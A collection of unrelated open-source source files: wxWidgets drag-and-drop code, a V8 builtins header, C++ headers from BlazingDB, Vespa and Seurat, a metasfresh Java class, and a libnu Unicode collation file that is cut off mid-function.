fmtMemory.cfFormat = format;
fmtMemory.ptd = NULL;
fmtMemory.dwAspect = DVASPECT_CONTENT;
fmtMemory.lindex = -1;
fmtMemory.tymed = TYMED_HGLOBAL; // TODO to add other media
bool rc = false;
HRESULT hr = m_pIDataSource->GetData(&fmtMemory, &stm);
if ( SUCCEEDED(hr) ) {
IDataObject *dataObject = m_dataObject->GetInterface();
hr = dataObject->SetData(&fmtMemory, &stm, TRUE);
if ( SUCCEEDED(hr) ) {
rc = true;
}
else {
wxLogApiError(wxT("IDataObject::SetData()"), hr);
}
}
else {
wxLogApiError(wxT("IDataObject::GetData()"), hr);
}
return rc;
}
// ----------------------------------------------------------------------------
// callbacks used by wxIDropTarget
// ----------------------------------------------------------------------------
// we need a data source, so wxIDropTarget gives it to us using this function
void wxDropTarget::MSWSetDataSource(IDataObject *pIDataSource)
{
m_pIDataSource = pIDataSource;
}
// determine if we accept data of this type
bool wxDropTarget::MSWIsAcceptedData(IDataObject *pIDataSource) const
{
return MSWGetSupportedFormat(pIDataSource) != wxDF_INVALID;
}
// ----------------------------------------------------------------------------
// helper functions
// ----------------------------------------------------------------------------
wxDataFormat wxDropTarget::GetMatchingPair()
{
return MSWGetSupportedFormat( m_pIDataSource );
}
wxDataFormat wxDropTarget::MSWGetSupportedFormat(IDataObject *pIDataSource) const
{
// this strucutre describes a data of any type (first field will be
// changing) being passed through global memory block.
static FORMATETC s_fmtMemory = {
0,
NULL,
DVASPECT_CONTENT,
-1,
TYMED_HGLOBAL // TODO is it worth supporting other tymeds here?
};
// get the list of supported formats
size_t nFormats = m_dataObject->GetFormatCount(wxDataObject::Set);
wxDataFormat format;
wxDataFormat *formats;
formats = nFormats == 1 ? &format : new wxDataFormat[nFormats];
m_dataObject->GetAllFormats(formats, wxDataObject::Set);
// cycle through all supported formats
size_t n;
for ( n = 0; n < nFormats; n++ ) {
s_fmtMemory.cfFormat = formats[n];
// NB: don't use SUCCEEDED macro here: QueryGetData returns S_FALSE
// for file drag and drop (format == CF_HDROP)
if ( pIDataSource->QueryGetData(&s_fmtMemory) == S_OK ) {
format = formats[n];
break;
}
}
if ( formats != &format ) {
// free memory if we allocated it
delete [] formats;
}
return n < nFormats ? format : wxFormatInvalid;
}
// ----------------------------------------------------------------------------
// drag image functions
// ----------------------------------------------------------------------------
void
wxDropTarget::MSWEndDragImageSupport()
{
// release drop target helper
if ( m_dropTargetHelper != NULL )
{
m_dropTargetHelper->Release();
m_dropTargetHelper = NULL;
}
}
void
wxDropTarget::MSWInitDragImageSupport()
{
// Use the default drop target helper to show shell drag images
CoCreateInstance(wxCLSID_DragDropHelper, NULL, CLSCTX_INPROC_SERVER,
wxIID_IDropTargetHelper, (LPVOID*)&m_dropTargetHelper);
}
void
wxDropTarget::MSWUpdateDragImageOnData(wxCoord x,
wxCoord y,
wxDragResult dragResult)
{
// call corresponding event on drop target helper
if ( m_dropTargetHelper != NULL )
{
POINT pt = {x, y};
DWORD dwEffect = ConvertDragResultToEffect(dragResult);
m_dropTargetHelper->Drop(m_pIDataSource, &pt, dwEffect);
}
}
void
wxDropTarget::MSWUpdateDragImageOnDragOver(wxCoord x,
wxCoord y,
wxDragResult dragResult)
{
// call corresponding event on drop target helper
if ( m_dropTargetHelper != NULL )
{
POINT pt = {x, y};
DWORD dwEffect = ConvertDragResultToEffect(dragResult);
m_dropTargetHelper->DragOver(&pt, dwEffect);
}
}
void
wxDropTarget::MSWUpdateDragImageOnEnter(wxCoord x,
wxCoord y,
wxDragResult dragResult)
{
// call corresponding event on drop target helper
if ( m_dropTargetHelper != NULL )
{
POINT pt = {x, y};
DWORD dwEffect = ConvertDragResultToEffect(dragResult);
m_dropTargetHelper->DragEnter(m_pIDropTarget->GetHWND(), m_pIDataSource, &pt, dwEffect);
}
}
void
wxDropTarget::MSWUpdateDragImageOnLeave()
{
// call corresponding event on drop target helper
if ( m_dropTargetHelper != NULL )
{
m_dropTargetHelper->DragLeave();
}
}
// ----------------------------------------------------------------------------
// private functions
// ----------------------------------------------------------------------------
static wxDragResult ConvertDragEffectToResult(DWORD dwEffect)
{
switch ( dwEffect ) {
case DROPEFFECT_COPY:
return wxDragCopy;
case DROPEFFECT_LINK:
return wxDragLink;
case DROPEFFECT_MOVE:
return wxDragMove;
default:
wxFAIL_MSG(wxT("invalid value in ConvertDragEffectToResult"));
// fall through
case DROPEFFECT_NONE:
return wxDragNone;
}
}
static DWORD ConvertDragResultToEffect(wxDragResult result)
{
switch ( result ) {
case wxDragCopy:
return DROPEFFECT_COPY;
case wxDragLink:
return DROPEFFECT_LINK;
case wxDragMove:
return DROPEFFECT_MOVE;
default:
wxFAIL_MSG(wxT("invalid value in ConvertDragResultToEffect"));
// fall through
case wxDragNone:
return DROPEFFECT_NONE;
}
}
#endif // wxUSE_OLE && wxUSE_DRAG_AND_DROP
| 9,382 |
1,666 | <gh_stars>1000+
// Copyright 2018 the V8 project authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#ifndef V8_BUILTINS_BUILTINS_UTILS_INL_H_
#define V8_BUILTINS_BUILTINS_UTILS_INL_H_
#include "src/builtins/builtins-utils.h"
#include "src/execution/arguments-inl.h"
namespace v8 {
namespace internal {
Handle<Object> BuiltinArguments::atOrUndefined(Isolate* isolate,
int index) const {
if (index >= length()) {
return isolate->factory()->undefined_value();
}
return at<Object>(index);
}
Handle<Object> BuiltinArguments::receiver() const { return at<Object>(0); }
Handle<JSFunction> BuiltinArguments::target() const {
#ifdef V8_REVERSE_JSARGS
int index = kTargetOffset;
#else
int index = Arguments::length() - 1 - kTargetOffset;
#endif
return Handle<JSFunction>(address_of_arg_at(index));
}
Handle<HeapObject> BuiltinArguments::new_target() const {
#ifdef V8_REVERSE_JSARGS
int index = kNewTargetOffset;
#else
int index = Arguments::length() - 1 - kNewTargetOffset;
#endif
return Handle<JSFunction>(address_of_arg_at(index));
}
} // namespace internal
} // namespace v8
#endif // V8_BUILTINS_BUILTINS_UTILS_INL_H_
| 494 |
1,059 | <filename>io/src/FileSystem/FileSystemEntity.h
/*
* Copyright 2017 BlazingDB, Inc.
* Copyright 2018 <NAME> <<EMAIL>>
*/
#ifndef _BLAZING_FILE_SYSTEM_ENTITY_H_
#define _BLAZING_FILE_SYSTEM_ENTITY_H_
#include "FileSystem/FileSystemConnection.h"
#include "FileSystem/Path.h"
// NOTE Immutable class
class FileSystemEntity {
public:
FileSystemEntity(); // creates an invalid FileSystemEntity
FileSystemEntity(const std::string & authority,
const FileSystemConnection & fileSystemConnection,
const Path & root = Path("/", false));
FileSystemEntity(const std::string & authority,
const std::string & fileSystemConnection,
const std::string & root,
bool encrypted = true);
FileSystemEntity(const FileSystemEntity & other);
FileSystemEntity(FileSystemEntity && other);
virtual ~FileSystemEntity();
bool isValid() const noexcept;
const std::string getAuthority() const;
const FileSystemConnection getFileSystemConnection() const;
const Path getRoot() const;
const std::string getEncryptedAuthority() const;
const std::string getEncryptedFileSystemConnection() const;
const std::string getEncryptedRoot() const;
std::string toString() const; // json format
FileSystemEntity & operator=(const FileSystemEntity & other);
FileSystemEntity & operator=(FileSystemEntity && other);
bool operator==(const FileSystemEntity & other) const;
bool operator!=(const FileSystemEntity & other) const;
private:
std::string authority; // primary key
FileSystemConnection fileSystemConnection; // text format: fileSystemType|connectionProperties where
// connectionProperties = "Val1,Val2,...,Valn"
Path root; // text Path::toString(false)
};
#endif /* _BLAZING_FILE_SYSTEM_ENTITY_H_ */
| 529 |
4,054 | // Copyright Yahoo. Licensed under the terms of the Apache 2.0 license. See LICENSE in the project root.
#pragma once
#include "const_iterator.h"
#include "db_merger.h"
#include <vespa/document/bucket/bucketid.h>
#include <vespa/vespalib/btree/btree.h>
#include <vespa/vespalib/btree/minmaxaggregated.h>
#include <vespa/vespalib/btree/minmaxaggrcalc.h>
namespace storage::bucketdb {
/*
* Bucket database implementation built around lock-free single-writer/multiple-readers B+tree.
*
* Key is always treated as a 64-bit uint bucket ID key.
* Value is a 64-bit uint whose semantics are handled by the provided DataStoreTraitsT.
* All DataStore access and value type (un)marshalling is deferred to the traits type,
* allowing this class to be used for both fixed-sized and dynamic-sized value types.
*
* Buckets in our tree are represented by their 64-bit numeric key, in what's known as
* "reversed bit order with appended used-bits" form. I.e. a bucket ID (16, 0xcafe), which
* in its canonical representation has 16 (the used-bits) in its 6 MSBs and 0xcafe in its
* LSBs is transformed into 0x7f53000000000010. This key is logically comprised of two parts:
* - the reversed bucket ID itself (0xcafe - 0x7f53) with all trailing zeroes for unset bits
* - the _non-reversed_ used-bits appended as the LSBs
*
* This particular transformation gives us keys with the following invariants:
* - all distinct bucket IDs map to exactly 1 key
* - buckets with the same ID but different used-bits are ordered in such a way that buckets
* with higher used-bits sort after buckets with lower used-bits
* - the key ordering represents an implicit in-order traversal of the binary bucket tree
* - consequently, all parent buckets are ordered before their child buckets
*
* The in-order traversal invariant is fundamental to many of the algorithms that operate
* on the bucket tree.
*/
template <typename DataStoreTraitsT>
class GenericBTreeBucketDatabase {
public:
using DataStoreType = typename DataStoreTraitsT::DataStoreType;
using ValueType = typename DataStoreTraitsT::ValueType;
using ConstValueRef = typename DataStoreTraitsT::ConstValueRef;
using GenerationHandler = vespalib::GenerationHandler;
struct KeyUsedBitsMinMaxAggrCalc : vespalib::btree::MinMaxAggrCalc {
constexpr static bool aggregate_over_values() { return false; }
constexpr static int32_t getVal(uint64_t key) noexcept {
static_assert(document::BucketId::CountBits == 6u);
return static_cast<int32_t>(key & 0b11'1111U); // 6 LSB of key contains used-bits
}
};
using BTree = vespalib::btree::BTree<uint64_t, uint64_t,
vespalib::btree::MinMaxAggregated,
std::less<>,
vespalib::btree::BTreeDefaultTraits,
KeyUsedBitsMinMaxAggrCalc>;
using BTreeConstIterator = typename BTree::ConstIterator;
BTree _tree;
DataStoreType _store;
GenerationHandler _generation_handler;
template <typename... DataStoreArgs>
explicit GenericBTreeBucketDatabase(DataStoreArgs&&... data_store_args)
: _store(std::forward<DataStoreArgs>(data_store_args)...)
{
DataStoreTraitsT::init_data_store(_store);
}
GenericBTreeBucketDatabase(const GenericBTreeBucketDatabase&) = delete;
GenericBTreeBucketDatabase& operator=(const GenericBTreeBucketDatabase&) = delete;
GenericBTreeBucketDatabase(GenericBTreeBucketDatabase&&) = delete;
GenericBTreeBucketDatabase& operator=(GenericBTreeBucketDatabase&&) = delete;
~GenericBTreeBucketDatabase();
ValueType entry_from_iterator(const BTreeConstIterator& iter) const;
ConstValueRef const_value_ref_from_valid_iterator(const BTreeConstIterator& iter) const;
static document::BucketId bucket_from_valid_iterator(const BTreeConstIterator& iter);
BTreeConstIterator find(uint64_t key) const noexcept;
BTreeConstIterator lower_bound(uint64_t key) const noexcept;
BTreeConstIterator upper_bound(uint64_t key) const noexcept;
BTreeConstIterator begin() const noexcept;
void clear() noexcept;
[[nodiscard]] size_t size() const noexcept;
[[nodiscard]] bool empty() const noexcept;
[[nodiscard]] vespalib::MemoryUsage memory_usage() const noexcept;
ValueType get(const document::BucketId& bucket) const;
ValueType get_by_raw_key(uint64_t key) const;
// Return true if bucket existed in DB, false otherwise.
bool remove(const document::BucketId& bucket);
bool remove_by_raw_key(uint64_t key);
// Returns true if bucket pre-existed in the DB, false otherwise
bool update(const document::BucketId& bucket, const ValueType& new_entry);
bool update_by_raw_key(uint64_t bucket_key, const ValueType& new_entry);
template <typename EntryUpdateProcessor>
void process_update(const document::BucketId &bucket, EntryUpdateProcessor& processor, bool create_if_nonexisting);
template <typename IterValueExtractor, typename Func>
void find_parents_and_self(const document::BucketId& bucket, Func func) const;
template <typename IterValueExtractor, typename Func>
void find_parents_self_and_children(const document::BucketId& bucket, Func func) const;
document::BucketId getAppropriateBucket(uint16_t minBits, const document::BucketId& bid) const;
[[nodiscard]] uint32_t child_subtree_count(const document::BucketId& bucket) const;
const DataStoreType& store() const noexcept { return _store; }
DataStoreType& store() noexcept { return _store; }
void merge(MergingProcessor<ValueType>& proc);
friend class ReadSnapshot;
// See ReadGuard class comments for semantics.
class ReadSnapshot {
const GenericBTreeBucketDatabase* _db;
vespalib::GenerationHandler::Guard _guard;
typename BTree::FrozenView _frozen_view;
class ConstIteratorImpl;
public:
explicit ReadSnapshot(const GenericBTreeBucketDatabase& db);
~ReadSnapshot();
ReadSnapshot(const ReadSnapshot&) = delete;
ReadSnapshot& operator=(const ReadSnapshot&) = delete;
template <typename IterValueExtractor, typename Func>
void find_parents_and_self(const document::BucketId& bucket, Func func) const;
template <typename IterValueExtractor, typename Func>
void find_parents_self_and_children(const document::BucketId& bucket, Func func) const;
template <typename IterValueExtractor, typename Func>
void for_each(Func func) const;
std::unique_ptr<ConstIterator<ConstValueRef>> create_iterator() const;
[[nodiscard]] uint64_t generation() const noexcept;
};
private:
// Functor is called for each found element in key order, with raw u64 keys and values.
template <typename IterValueExtractor, typename Func>
BTreeConstIterator find_parents_internal(const typename BTree::FrozenView& frozen_view,
const document::BucketId& bucket,
Func func) const;
template <typename IterValueExtractor, typename Func>
void find_parents_and_self_internal(const typename BTree::FrozenView& frozen_view,
const document::BucketId& bucket,
Func func) const;
template <typename IterValueExtractor, typename Func>
void find_parents_self_and_children_internal(const typename BTree::FrozenView& frozen_view,
const document::BucketId& bucket,
Func func) const;
void commit_tree_changes();
template <typename DataStoreTraitsT2> friend struct BTreeBuilderMerger;
template <typename DataStoreTraitsT2> friend struct BTreeTrailingInserter;
};
uint8_t getMinDiffBits(uint16_t minBits, const document::BucketId& a, const document::BucketId& b);
uint8_t next_parent_bit_seek_level(uint8_t minBits, const document::BucketId& a, const document::BucketId& b);
}
| 3,041 |
1,144 | <filename>backend/de.metas.adempiere.adempiere/base/src/main/java/org/adempiere/model/CopyRecordFactory.java<gh_stars>1000+
package org.adempiere.model;
import de.metas.logging.LogManager;
import de.metas.util.Check;
import de.metas.util.Services;
import lombok.NonNull;
import org.adempiere.exceptions.AdempiereException;
import org.adempiere.model.CopyRecordSupport.IOnRecordCopiedListener;
import org.adempiere.service.ISysConfigBL;
import org.slf4j.Logger;
import javax.annotation.concurrent.ThreadSafe;
import java.util.Collections;
import java.util.List;
import java.util.Set;
import java.util.concurrent.ConcurrentHashMap;
import java.util.concurrent.CopyOnWriteArrayList;
import java.util.concurrent.CopyOnWriteArraySet;
/**
* {@link CopyRecordSupport} factory.
*
* @author <NAME>, METAS.RO
*/
@ThreadSafe
public final class CopyRecordFactory
{
private static final Logger logger = LogManager.getLogger(CopyRecordFactory.class);
private static final String SYSCONFIG_ENABLE_COPY_WITH_DETAILS = "ENABLE_COPY_WITH_DETAILS";
private static final ConcurrentHashMap<String, Class<? extends CopyRecordSupport>> tableName2copyRecordSupportClass = new ConcurrentHashMap<>();
/**
* List of table names for whom Copy With Details button is activated in Window toolbar
*/
private static final CopyOnWriteArraySet<String> enabledTableNames = new CopyOnWriteArraySet<>();
private static final List<IOnRecordCopiedListener> staticOnRecordCopiedListeners = new CopyOnWriteArrayList<>();
/**
* @return {@link CopyRecordSupport}; never returns null
*/
public static CopyRecordSupport getCopyRecordSupport(@NonNull final String tableName)
{
final CopyRecordSupport result;
final Class<? extends CopyRecordSupport> copyRecordSupportClass = tableName2copyRecordSupportClass.get(tableName);
if (copyRecordSupportClass == null)
{
result = new GeneralCopyRecordSupport();
}
else
{
try
{
result = copyRecordSupportClass.newInstance();
}
catch (final Exception ex)
{
throw new AdempiereException("Failed creating " + copyRecordSupportClass + " instance for " + tableName, ex);
}
}
for (final IOnRecordCopiedListener listener : staticOnRecordCopiedListeners)
{
result.addOnRecordCopiedListener(listener);
}
return result;
}
public static void registerCopyRecordSupport(
@NonNull final String tableName,
@NonNull final Class<? extends CopyRecordSupport> copyRecordSupportClass)
{
Check.assumeNotEmpty(tableName, "tableName not empty");
tableName2copyRecordSupportClass.put(tableName, copyRecordSupportClass);
logger.info("Registered for `{}`: {}", tableName, copyRecordSupportClass);
}
/**
* @return true if copy-with-details functionality is enabled
*/
public static boolean isEnabled()
{
final boolean copyWithDetailsEnabledDefault = false;
return Services.get(ISysConfigBL.class).getBooleanValue(SYSCONFIG_ENABLE_COPY_WITH_DETAILS, copyWithDetailsEnabledDefault);
}
/**
* @return true if copy-with-details functionality is enabled for given <code>tableName</code>
*/
public static boolean isEnabledForTableName(final String tableName)
{
return enabledTableNames.contains(tableName);
}
public static void enableForTableName(final String tableName)
{
Check.assumeNotEmpty(tableName, "tableName not empty");
enabledTableNames.add(tableName);
logger.info("Enabled for table: {}", tableName);
}
/**
* Allows other modules to install customer code to be executed each time a record was copied.
* Add a listener here, and it will automatically be added to each {@link CopyRecordSupport} instance that is returned by {@link #getCopyRecordSupport(String)}.
*/
public static void addOnRecordCopiedListener(@NonNull final IOnRecordCopiedListener listener)
{
staticOnRecordCopiedListeners.add(listener);
logger.info("Registered listener: {}", listener);
}
}
| 1,204 |
819 | /*
Copyright 2017 Google Inc. All Rights Reserved.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS-IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
#ifndef VR_SEURAT_ARTIFACT_ARTIFACT_PROCESSOR_H_
#define VR_SEURAT_ARTIFACT_ARTIFACT_PROCESSOR_H_
#include <memory>
#include <vector>
#include "seurat/artifact/artifact.h"
#include "seurat/base/status.h"
#include "seurat/base/status_util.h"
namespace seurat {
namespace artifact {
class ArtifactProcessor {
public:
virtual ~ArtifactProcessor() = default;
// Processes an artifact.
virtual base::Status Process(Artifact* artifact) const {
return base::OkStatus();
}
};
// In the ASCII art documentation below, "-" denotes a sequence and "/" and "\"
// denote a group. "{foo}" denotes an artifact. "node_xyz" denotes an artifact
// processor. Arrows "->" denote input and output data flow.
// A sequence of artifact processors (sequential pipeline). The output of one
// stage is fed as input into the next stage. ArtifactProcessorSequence is an
// artifact transform.
//
// Sequence data flow:
//
// {input}->node_0->{inout_0}->node_1->{inout_1}->...->node_N-1->{output}
//
class ArtifactProcessorSequence : public ArtifactProcessor {
public:
explicit ArtifactProcessorSequence(
std::vector<std::shared_ptr<const ArtifactProcessor>> stages)
: stages_(std::move(stages)) {}
base::Status Process(Artifact* artifact) const override {
for (const auto& stage : stages_) {
SEURAT_RETURN_IF_ERROR(stage->Process(artifact));
}
return base::OkStatus();
}
private:
// The stages of the sequence.
std::vector<std::shared_ptr<const ArtifactProcessor>> stages_;
};
// A group of artifact processors (branching pipeline). ArtifactProcessorGroup
// is an artifact sink.
//
// Group data flow:
//
// >node_0
// /
// {input}
// \
// >node_1
//
// Pipeline example that combines groups and sequences:
//
// node_0
// /
// node_3-node_2-
// / \
// / node_4 node_1
// \/
// \
// node_5-node_6
//
class ArtifactProcessorGroup : public ArtifactProcessor {
public:
explicit ArtifactProcessorGroup(
std::vector<std::shared_ptr<const ArtifactProcessor>> children)
: children_(std::move(children)) {}
base::Status Process(Artifact* artifact) const override {
base::Status group_status;
for (const auto& child : children_) {
base::Status child_status;
Artifact copy = *artifact;
child_status = child->Process(©);
base::UpdateStatus(&group_status, child_status);
}
return group_status;
}
private:
// That children of this node.
std::vector<std::shared_ptr<const ArtifactProcessor>> children_;
};
} // namespace artifact
} // namespace seurat
#endif // VR_SEURAT_ARTIFACT_ARTIFACT_PROCESSOR_H_
| 1,132 |
4,234 | #include <assert.h>
#include <libnu/defines.h>
#include <libnu/ducet.h>
#include <libnu/strcoll.h>
#include <libnu/strcoll_internal.h>
#if (defined NU_WITH_Z_COLLATION) || (defined NU_WITH_N_COLLATION)
int32_t _compound_weight(int32_t w,
const char **encoded, const char *limit,
nu_read_iterator_t read, nu_compound_read_t com,
const char **tail,
nu_codepoint_weight_t weight, void *context) {
const char *tailp = *tail;
const char *p = *encoded;
int32_t new_w = w;
int32_t consumed = 1; /* one codepoint was consumed at the top of the stack (_nu_strcoll) */
while (p < limit) {
uint32_t u = 0;
const char *np = com(p, limit, read, &u, &tailp);
new_w = weight(u, &w, context);
/* after this point, w might hold rollback value
* and new_w holds actual weight */
++consumed;
if (new_w >= 0) {
/* if w == 0 or w == 1, then *p or *np is already pointing
* to needed place, otherwise re-read encoded in the forward
* direction preserving correctness of tail pointer */
if (w != 0 && w != 1) {
assert(consumed + w > 1);
np = *encoded;
tailp = *tail;
for (int32_t i = 0; i < consumed - w; ++i) {
np = com(np, limit, read, 0, &tailp);
}
w = 0;
}
*encoded = (w == 0 ? np : p);
*tail = tailp;
break;
}
p = np;
w = new_w;
}
if (new_w < 0) {
new_w = weight(0, &w, context);
}
assert(new_w >= 0);
return new_w;
}
inline
int _nu_strcoll(const char *lhs, const char *lhs_limit,
const char *rhs, const char *rhs_limit,
nu_read_iterator_t it1, nu_read_iterator_t it2,
nu_compound_read_t com1, nu_compound_read_t com2,
nu_codepoint_weight_t weight, void *context,
ssize_t *collated_left, ssize_t *collated_right) {
int cmp = 0;
const char *lp = lhs, *rp = rhs;
const char *ltailp = 0, *rtailp = 0;
uint32_t u1 = 0, u2 = 0;
while ((lp < lhs_limit && rp < rhs_limit)
|| (ltailp != 0 && rp < rhs_limit)
|| (rtailp != 0 && lp < lhs_limit)) {
lp = com1(lp, lhs_limit, it1, &u1, <ailp);
rp = com2(rp, rhs_limit, it2, &u2, &rtailp);
#ifdef NU_DISABLE_CONTRACTIONS
/* if contractions are disabled, then same codepoints
* will produce same weights and there is no need
* to weight each, i.e. weight(u1) == weight(u2) and
* collation may proceed to next codepoints */
if (u1 != u2) {
#endif
int32_t w1 = weight(u1, 0, context);
int32_t w2 = weight(u2, 0, context);
if (w1 < 0) {
w1 = _compound_weight(w1, &lp, lhs_limit,
it1, com1, <ailp,
weight, context);
}
if (w2 < 0) {
w2 = _compound_weight(w2, &rp, rhs_limit,
it2, com2, &rtailp,
weight, context);
}
assert(w1 >= 0);
assert(w2 >= 0);
if (w1 < w2) {
cmp = -1;
break;
}
else if (w1 > w2) {
cmp = 1;
break;
}
#ifdef NU_DISABLE_CONTRACTIONS
}
#endif
if (u1 == 0 || u2 == 0) {
break;
}
}
/* collated_left and collated_right should count
* number of successfully collated bytes, not taking
* into account limits. therefore if cmp != 0,
* number of collated bytes is decreased by (at least) 1
* and cmp is limits-fixed afterwards */
if (collated_left != 0) {
*collated_left = (lp - lhs) - (cmp == 0 ? 0 : 1);
}
if (collated_right != 0) {
*collated_right = (rp - rhs) - (cmp == 0 ? 0 : 1);
}
if (cmp == 0) {
if (rp < rhs_limit && lp >= lhs_limit) {
cmp = -1;
}
else if (lp < lhs_limit && rp >= rhs_limit) {
cmp = 1;
}
}
return cmp;
}
inline
const char* _nu_strchr(const char *lhs, const char *lhs_limit,
uint32_t c, nu_read_iterator_t read,
nu_compound_read_t com,
nu_casemapping_t casemap, nu_read_iterator_t casemap_read) {
const char *p = lhs;
const char *tail = 0;
uint32_t u = 0;
const char *rhs = 0;
if (casemap != 0) {
rhs = casemap(c);
if (rhs != 0) {
rhs = casemap_read(rhs, &c); /* read new lead codepoint */
}
}
while (p < lhs_limit) {
const char *np = com(p, lhs_limit, read, &u, &tail);
if (u == 0) {
break;
}
if (u == c) {
if (rhs == 0) {
return p;
}
/* rhs != 0 */
const char *rp = rhs;
uint32_t u2 = 0;
do {
rp = casemap_read(rp, &u2);
if (u2 == 0) {
return p; /* succ exit point */
}
if (np >= lhs_limit) {
return 0;
}
np = com(np, lhs_limit, read, &u, &tail);
if (u == 0) {
return 0;
}
if (u != u2) {
break;
}
}
while (u2 != 0);
}
p = np;
}
return 0;
}
inline
const char* _nu_strrchr(const char *encoded, const char *limit,
uint32_t c, nu_read_iterator_t read,
nu_compound_read_t com,
nu_casemapping_t casemap, nu_read_iterator_t casemap_read) {
/* there is probably not much sense in finding string end by decoding it
* and then reverse read string again to find last codepoint, therefore
* this is a sequence of _nu_strchr() in forward direction
*
* please let me know if i'm wrong */
const char *p = encoded;
const char *last = 0;
while (p < limit) {
p = _nu_strchr(p, limit, c, read, com, casemap, casemap_read);
if (p == 0) {
return last;
}
last = p;
p = read(p, 0); /* skip one codepoint and continue */
}
return last;
}
inline
const char* _nu_strstr(const char *haystack, const char *haystack_limit,
const char *needle, const char *needle_limit,
nu_read_iterator_t it1, nu_read_iterator_t it2,
nu_compound_read_t com1, nu_compound_read_t com2,
nu_casemapping_t casemap, nu_read_iterator_t casemap_read,
nu_codepoint_weight_t weight, void *context) {
uint32_t n0 = 0;
if (needle_limit != needle) {
it2(needle, &n0);
}
if (needle_limit == needle || n0 == 0) {
return haystack;
}
ssize_t needle_len = (needle_limit != NU_UNLIMITED
? (needle_limit - needle)
: nu_strbytelen(needle, it2));
const char *h0 = haystack;
do {
h0 = _nu_strchr(h0, haystack_limit,
n0, it1,
com1,
casemap, casemap_read);
if (h0 == 0) {
break;
}
ssize_t collated_left = 0, collated_right = 0;
_nu_strcoll(h0, haystack_limit, needle, needle_limit,
it1, it2,
com1, com2,
weight, context,
&collated_left, &collated_right);
/* it doesn't matter what collate result is
* if whole needle was successfully collated */
if (collated_right >= needle_len) {
return h0;
}
/* skip one codepoint in haystack */
if (h0 < haystack_limit) {
h0 = it1(h0, 0);
}
}
while (h0 != 0 && h0 < haystack_limit);
return 0;
}
#ifdef NU_WITH_Z_COLLATION
const char* nu_strchr(const char *encoded, uint32_t c, nu_read_iterator_t read) {
return _nu_strchr(encoded, NU_UNLIMITED,
c, read,
nu_default_compound_read,
0, 0);
}
const char* nu_strcasechr(const char *encoded, uint32_t c, nu_read_iterator_t read) {
return _nu_strchr(encoded, NU_UNLIMITED,
c, read,
nu_nocase_compound_read,
NU_FOLDING_FUNCTION, nu_casemap_read);
}
const char* nu_strrchr(const char *encoded, uint32_t c, nu_read_iterator_t read) {
return _nu_strrchr(encoded, NU_UNLIMITED,
c, read,
nu_default_compound_read,
0, 0);
}
const char* nu_strrcasechr(const char *encoded, uint32_t c, nu_read_iterator_t read) {
return _nu_strrchr(encoded, NU_UNLIMITED, c, read,
nu_nocase_compound_read,
NU_FOLDING_FUNCTION, nu_casemap_read);
}
int nu_strcoll(const char *s1, const char *s2,
nu_read_iterator_t s1_read, nu_read_iterator_t s2_read) {
return _nu_strcoll(s1, NU_UNLIMITED, s2, NU_UNLIMITED,
s1_read, s2_read,
nu_default_compound_read, nu_default_compound_read,
nu_ducet_weight, 0,
0, 0);
}
int nu_strcasecoll(const char *s1, const char *s2,
nu_read_iterator_t s1_read, nu_read_iterator_t s2_read) {
return _nu_strcoll(s1, NU_UNLIMITED, s2, NU_UNLIMITED,
s1_read, s2_read,
nu_nocase_compound_read, nu_nocase_compound_read,
nu_ducet_weight, 0,
0, 0);
}
const char* nu_strstr(const char *haystack, const char *needle,
nu_read_iterator_t haystack_read, nu_read_iterator_t needle_read) {
return _nu_strstr(haystack, NU_UNLIMITED, needle, NU_UNLIMITED,
haystack_read, needle_read,
nu_default_compound_read, nu_default_compound_read,
0, 0,
nu_ducet_weight, 0);
}
const char* nu_strcasestr(const char *haystack, const char *needle,
nu_read_iterator_t haystack_read, nu_read_iterator_t needle_read) {
return _nu_strstr(haystack, NU_UNLIMITED, needle, NU_UNLIMITED,
haystack_read, needle_read,
nu_nocase_compound_read, nu_nocase_compound_read,
NU_FOLDING_FUNCTION, nu_casemap_read,
nu_ducet_weight, 0);
}
#endif /* NU_WITH_Z_COLLATION */
#ifdef NU_WITH_N_COLLATION
const char* nu_strnchr(const char *encoded, size_t max_len, uint32_t c, nu_read_iterator_t read) {
return _nu_strchr(encoded, encoded + max_len,
c, read,
nu_default_compound_read,
0, 0);
}
const char* nu_strcasenchr(const char *encoded, size_t max_len, uint32_t c, nu_read_iterator_t read) {
return _nu_strchr(encoded, encoded + max_len,
c, read,
nu_nocase_compound_read,
NU_FOLDING_FUNCTION, nu_casemap_read);
}
const char* nu_strrnchr(const char *encoded, size_t max_len, uint32_t c, nu_read_iterator_t read) {
return _nu_strrchr(encoded, encoded + max_len,
c, read,
nu_default_compound_read,
0, 0);
}
const char* nu_strrcasenchr(const char *encoded, size_t max_len, uint32_t c,
nu_read_iterator_t read) {
return _nu_strrchr(encoded, encoded + max_len,
c, read,
nu_nocase_compound_read,
NU_FOLDING_FUNCTION, nu_casemap_read);
}
int nu_strncoll(const char *s1, size_t s1_max_len,
const char *s2, size_t s2_max_len,
nu_read_iterator_t s1_read, nu_read_iterator_t s2_read) {
return _nu_strcoll(s1, s1 + s1_max_len, s2, s2 + s2_max_len,
s1_read, s2_read,
nu_default_compound_read, nu_default_compound_read,
nu_ducet_weight, 0,
0, 0);
}
int nu_strcasencoll(const char *s1, size_t s1_max_len,
const char *s2, size_t s2_max_len,
nu_read_iterator_t s1_read, nu_read_iterator_t s2_read) {
return _nu_strcoll(s1, s1 + s1_max_len, s2, s2 + s2_max_len,
s1_read, s2_read,
nu_nocase_compound_read, nu_nocase_compound_read,
nu_ducet_weight, 0,
0, 0);
}
const char* nu_strnstr(const char *haystack, size_t haystack_max_len,
const char *needle, size_t needle_max_len,
nu_read_iterator_t haystack_read, nu_read_iterator_t needle_read) {
return _nu_strstr(haystack, haystack + haystack_max_len,
needle, needle + needle_max_len,
haystack_read, needle_read,
nu_default_compound_read, nu_default_compound_read,
0, 0,
nu_ducet_weight, 0);
}
const char* nu_strcasenstr(const char *haystack, size_t haystack_max_len,
const char *needle, size_t needle_max_len,
nu_read_iterator_t haystack_read, nu_read_iterator_t needle_read) {
return _nu_strstr(haystack, haystack + haystack_max_len,
needle, needle + needle_max_len,
haystack_read, needle_read,
nu_nocase_compound_read, nu_nocase_compound_read,
